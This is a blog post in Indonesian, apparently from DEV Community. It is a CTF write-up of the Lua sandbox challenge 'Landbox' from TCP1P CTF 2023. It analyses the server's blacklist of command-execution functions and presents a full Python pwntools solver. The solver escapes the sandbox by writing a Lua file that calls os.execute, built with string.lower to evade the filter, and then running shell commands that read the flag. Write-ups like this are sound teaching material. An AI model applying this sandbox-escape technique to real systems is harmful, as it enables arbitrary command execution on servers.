DEV Community

Edqe14
Edqe14

Posted on

TCP1P CTF โ€” Landbox

Halo teman-teman hacker๐Ÿ‘‹! Di artikel ini, kita akan membahas terkait tentang sebuah chall(enge) dari TCP1P CTF 2023, yang berjudul: Landbox.

Challenge preview

๐Ÿค” Latar belakang

Jadi, apa sih tantangan satu ini? Dari deskripsinya saja, kita dapat mengetahui bahwa aplikasi ini dibuat dari Lua.

Chall description

Selain itu, kita juga mendapatkan sebuah IP serta port untuk dihubungi dengan netcat. Disaat kita terhubung dengan IP tersebut, kita akan mendapat kalimat pengantar untuk tantangan ini. Disini, kita dapat memasukkan kode lua dan dapat diakhiri dengan -- END.

$ nc 51.161.84.3 22041

Welcome to Landbox! (LUA Sandbox)
Feel free to type your lua code below, type '-- END' once you are done ;)
-- BEGIN
print('hello world')
-- END

-- OUTPUT BEGIN
hello world    
-- OUTPUT END
Enter fullscreen mode Exit fullscreen mode

โœ Yang kita pelajari

  1. Aplikasi ini dibuat dari Lua.
  2. Aplikasi ini dapat menjalankan kode lua yang dimasukkan โ—

Karena kita hanya mendapat informasi yang terbatas, ayo kita lihat source code yang diberikan.

๐Ÿ‘ฉโ€๐Ÿ’ป Source code

Source codes

Dari tantangan ini, kita mendapat 2 file, yaitu main.lua dan sebuah Dockerfile. Mari kita lihat Dockerfilenya terlebih dahulu, karena kita mungkin bisa mendapat informasi lebih seperti: versi lua, lokasi flag.txt, dll.

๐Ÿณ Dockerfile

FROM ubuntu:latest

# ... dipotong biar lebih singkat

RUN apt-get -y install lua5.4 socat

# ... dipotong biar lebih singkat

RUN chown root:root /flag.txt
RUN mv /flag.txt /flag-`md5sum /flag.txt | awk '{print $1}'`.txt

# ... dipotong biar lebih singkat
Enter fullscreen mode Exit fullscreen mode

โœ Yang kita pelajari

  1. Versi lua yang dipakai adalah versi 5.4,
  2. File flag.txt diubah menjadi flag-<hash md5 flag>.txt.

Nah, sekarang yang telah ditunggu-tunggu...

โš™ main.lua

Yang pertama kita lihat setelah membuka file ini yaitu sebuah function untuk menjalankan kode yang kita input.

function run(untrusted_code)
    env['string']['char'] = function() end  
    env['string']['format'] = function() end
    env['string']['gsub'] = function() end
    env['string']['sub'] = function() end
    local res, err = load(untrusted_code, nil, 't', env)
    if not res then 
        print('Error: ' .. err)
        return nil, err 
    end
    return pcall(res)
end

-- ... dipotong biar lebih singkat

local res, err = run(code)

-- ... dipotong biar lebih singkat
Enter fullscreen mode Exit fullscreen mode

Sekarang, kita punya tujuan untuk membuat sebuah payload untuk mendapatkan flag dari tantangan ini. Namun, sebelum itu, kita harus melewati 3 pengecekan yaitu:

๐Ÿฅ‡ 1st check

blacklist = {'os.execute', 'execute', 'io.popen', 'popen', 'package.loadlib', 'loadlib'}
for line in code:gmatch("[^\n]+") do
    for i = 1, #blacklist do
        if string.find(line, blacklist[i]) then
            print('No! bad code!')
            return 
        end
    end
end
Enter fullscreen mode Exit fullscreen mode

Dari penggalan kode ini, kode yang kita input tidak boleh mengandung kata-kata yang didalam blacklist atau kita tidak dapat melanjutkan ke step kedua.

๐Ÿฅˆ 2nd check

sanitized = string.gsub(code, '%W', '')
sanitized = string.gsub(sanitized, '%d', '')
for i = 1, #blacklist do
    if string.find(sanitized, blacklist[i]) then
        print('No! bad code!')
        return
    end

    local parts = {}
    for part in sanitized:gmatch("0x%x?%x") do
        table.insert(parts, part)
    end

    local result = ''
    for j = 1, #parts do
        result = result .. string.char(tonumber(parts[j]:sub(3), 16))
    end

    if string.find(result, blacklist[i]) then
        print('No! bad code!')
        return
    end
end
Enter fullscreen mode Exit fullscreen mode

Waduuh, yang kedua ini lebih kompleks dari pada yang pertama. Tapi, sebenarnya tidak sesusah itu. Kode string.gsub ini, berdasarkan dokumentasi lua, digunakan untuk mengubah semua karakter yang cocok dengan karakter yang baru.

sanitized = string.gsub(code, '%W', '')
sanitized = string.gsub(sanitized, '%d', '')
Enter fullscreen mode Exit fullscreen mode

Pattern matcher

Seperti digambar, sanitized ini adalah hasil dari fungsi string.gsub. Di gsub pertama, ternyata ada bug yang mungkin awalnya membuat kita bingung, yaitu pattern %W. Sesuai dari tabel pattern diatas, %W seharusnya menghapus semua karakter alphanumeric, namun karena pattern ini case-sensitive, huruf kapital W ini tidak melakukan apa-apa. Sedangkan yang sanitized kedua, ini akan menghapus semua angka dari kode kita.

Ada juga kode yang mengubah karakter hexadesimal menjadi karakter yang dapat dicek dengan list blacklist.

local parts = {}
for j = 1, #parts do
    result = result .. string.char(tonumber(parts[j]:sub(3), 16))
end
Enter fullscreen mode Exit fullscreen mode

Sama seperti step pertama, hasil yang didapatkan akan dicek kembali dengan list blacklist.

๐Ÿฅ‰ 3rd check

local result = {}
for match in code:gmatch("['\"](.-)['\"]") do
    table.insert(result, match)
end

local sanitized = ''
for i = 1, #result do
    sanitized = sanitized .. result[i]
end

for i = 1, #blacklist do
    if string.find(sanitized, blacklist[i]) then
        print('No! bad code!')
        return
    end

    local parts = {}
    for part in sanitized:gmatch("\\x%x%x") do
        table.insert(parts, part)
    end

    local result = ''
    for j = 1, #parts do
        result = result .. string.char(tonumber(parts[j]:sub(3), 16))
    end

    if string.find(result, blacklist[i]) then
        print('No! bad code!')
        return
    end
end
Enter fullscreen mode Exit fullscreen mode

Sama seperti pengecekan kedua, disini semua kata didalam petik akan dicek dengan blacklist, juga dengan semua karakter hexadesimal.

โœ Yang kita pelajari

  1. Payload kita tidak boleh mengandung kata-kata dalam blacklist,
  2. Kita juga tidak bisa menggunakan karakter hexadesimal.

Dengan informasi yang kita dapat, kita sekarang bisa membuat solver untuk tantangan ini.

๐Ÿง  Solver

Aku disini akan pakai Python dengan library pwntools. Ayo, kita buat secara perlahan.

Pertama, kita butuh membuat sebuah interface untuk berkomunikasi dengan servernya.

from pwn import *
import inspect

def conn():
    # replace host and port for remote
    io = remote("localhost", 1337)
    return io
Enter fullscreen mode Exit fullscreen mode

โ„น Info
Kita bisa menjalankan server lokal sendiri menggunakan Dockerfile yang diberikan

Kedua, kita harus membuat kode lua yang dapat menjalankan command atau shell di konsol.

def write(cmd: str):
    payload = f"""
    local f=io.open("/tmp/shell.lua", "wb")
    f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]])
    io.close(f)
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload

def exec():
    payload = """
    f = assert(loadfile('/tmp/shell.lua')); f();
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload
Enter fullscreen mode Exit fullscreen mode

Didalam fungsi write, kita membuat sebuah file di /tmp/shell.lua dengan menggunakan fungsi io.open lua. Kita dapat menggunakan io.open karena yang dilarang itu adalah io.(p)open. Lalu, untuk bisa melewati larangan os.execute, kita dapat menggunakan fungsi string.lower untuk mengubah huruf besar menjadi huruf kecil.

Lalu, dalam fungsi exec, kita dapat menjalankan file /temp/shell.lua dengan memanfaatkan fungsi assert dan loadfile dilua.

Ketiga dan yang terakhir, kita dapat menjalankan kedua fungsi diatas dengan 2 koneksi yang berbeda. Dikarenakan file flag diubah, kita harus menjalankan 2 command linux, yaitu: ls dan cat.

def send(cmd: str):
    with conn() as io:
        p1 = write(cmd)
        io.sendlineafter(b"-- BEGIN", p1.encode())
        io.recvuntilS(b"-- OUTPUT END")

    with conn() as io:
        p2 = exec()
        io.sendlineafter(b"-- BEGIN", p2.encode())
        output = io.recvuntilS(b"-- OUTPUT END")
        log.info(output)

        return output

def main():
    output = send('ls -la /')
    flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE)

    send('cat /flag-{}.txt'.format(flag[0]))
Enter fullscreen mode Exit fullscreen mode

Berikut adalah script penuhnya

from pwn import *
import inspect

def conn():
    # replace host and port for remote
    io = remote("localhost", 1337)
    return io

def write(cmd: str):
    payload = f"""
    local f=io.open("/tmp/shell.lua", "wb")
    f:write([[ load(string.lower("OS.EXECUTE") .. "('{cmd}')")() ]])
    io.close(f)
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload

def exec():
    payload = """
    f = assert(loadfile('/tmp/shell.lua')); f();
    -- END
    """
    payload = inspect.cleandoc(payload)

    return payload


def send(cmd: str):
    with conn() as io:
        p1 = write(cmd)
        io.sendlineafter(b"-- BEGIN", p1.encode())
        io.recvuntilS(b"-- OUTPUT END")

    with conn() as io:
        p2 = exec()
        io.sendlineafter(b"-- BEGIN", p2.encode())
        output = io.recvuntilS(b"-- OUTPUT END")
        log.info(output)

        return output

def main():
    output = send('ls -la /')
    flag = re.findall(r'flag-(.+).txt', output, re.MULTILINE)

    send('cat /flag-{}.txt'.format(flag[0]))

if __name__ == "__main__":
    main()
Enter fullscreen mode Exit fullscreen mode

Saat kita jalankan:

$ python ./solver.py

# ...

[*]

    -- OUTPUT BEGIN
    total 72
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 .
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 ..
    -rwxr-xr-x   1 root root    0 Oct 17 02:31 .dockerenv    
    lrwxrwxrwx   1 root root    7 Oct  4 02:08 bin -> usr/bin
    drwxr-xr-x   2 root root 4096 Apr 18  2022 boot
    drwxr-xr-x   1 root root 4096 Oct 17 02:26 ctf
    drwxr-xr-x   5 root root  360 Oct 17 02:31 dev
    drwxr-xr-x   1 root root 4096 Oct 17 02:31 etc
    -rwxr--r--   1 root root   47 Oct 17 02:25 flag-cd55f8dcbf9176753d5e91133c78e172.txt
    drwxr-xr-x   2 root root 4096 Apr 18  2022 home
    lrwxrwxrwx   1 root root    7 Oct  4 02:08 lib -> usr/lib
    lrwxrwxrwx   1 root root    9 Oct  4 02:08 lib32 -> usr/lib32
    lrwxrwxrwx   1 root root    9 Oct  4 02:08 lib64 -> usr/lib64
    lrwxrwxrwx   1 root root   10 Oct  4 02:08 libx32 -> usr/libx32
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 media
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 mnt
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 opt
    dr-xr-xr-x 366 root root    0 Oct 17 02:31 proc
    drwx------   2 root root 4096 Oct  4 02:12 root
    drwxr-xr-x   5 root root 4096 Oct  4 02:12 run
    lrwxrwxrwx   1 root root    8 Oct  4 02:08 sbin -> usr/sbin
    drwxr-xr-x   2 root root 4096 Oct  4 02:08 srv
    dr-xr-xr-x  11 root root    0 Oct 17 02:31 sys
    drwxrwxrwt   1 root root 4096 Oct 17 02:52 tmp
    drwxr-xr-x   1 root root 4096 Oct  4 02:08 usr
    drwxr-xr-x   1 root root 4096 Oct  4 02:12 var
    -- OUTPUT END

# ...

[*] 

    -- OUTPUT BEGIN
    TCP1P{complex_problem_requires_simple_solution}-- OUTPUT END
Enter fullscreen mode Exit fullscreen mode

๐ŸŽ‰ Akhirnya kita mendapat flagnya, kawan~

TCP1P{complex_problem_requires_simple_solution}
Enter fullscreen mode Exit fullscreen mode

Akhir kata, terima kasih untuk membaca write-up ini ^v^. Apabila ada kritik atau masukkan, silahkan komen saja dibawah atau email ke hello@edqe.me.

๐Ÿ“ Referensi

Terima kasih untuk write-up dari 4n86rakam1 yang menjadi basis dari artikel & write-up ini.

Top comments (0)